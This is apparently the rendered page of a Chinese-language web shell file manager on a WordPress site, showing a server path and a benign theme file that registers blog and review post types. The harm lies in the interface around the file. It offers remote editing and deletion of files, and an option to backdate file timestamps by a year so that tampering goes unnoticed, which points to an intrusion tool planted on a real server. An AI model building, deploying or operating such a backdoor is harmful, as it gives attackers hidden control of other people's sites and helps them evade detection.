文件操作 - custom-posts.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/ltlcompare.com/wp-content/themes/ltl-compare/functions/custom-posts.php
编辑文件内容
<?php add_action( 'init', 'ltl_compare_register_post_types_and_taxonomies' ); function ltl_compare_register_post_types_and_taxonomies() { $blog_page_id = ltl_compare_get_page_id_by_template( 'page-blog.php' ); register_post_type( 'blog', array( 'labels' => array( 'name' => __( 'Blog', DOMAIN ), 'singular_name' => __( 'Blog', DOMAIN ), 'add_new' => __( 'Add', DOMAIN ), ), 'public' => true, 'menu_icon' => 'dashicons-book', 'menu_position' => 5, 'rewrite' => $blog_page_id ? array( 'slug' => get_post_field( 'post_name', $blog_page_id ), 'with_front' => false ) : true, 'supports' => array( 'title', 'editor', 'thumbnail', 'excerpt' ), 'show_in_rest' => true, ) ); register_post_type( 'review', array( 'labels' => array( 'name' => __( 'Reviews', DOMAIN ), 'singular_name' => __( 'Review', DOMAIN ), 'add_new' => __( 'Add', DOMAIN ), ), 'public' => true, 'menu_icon' => 'dashicons-thumbs-up', 'menu_position' => 5, 'supports' => array( 'title' ), 'show_in_rest' => true, 'publicly_queryable' => false, ) ); } ?>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件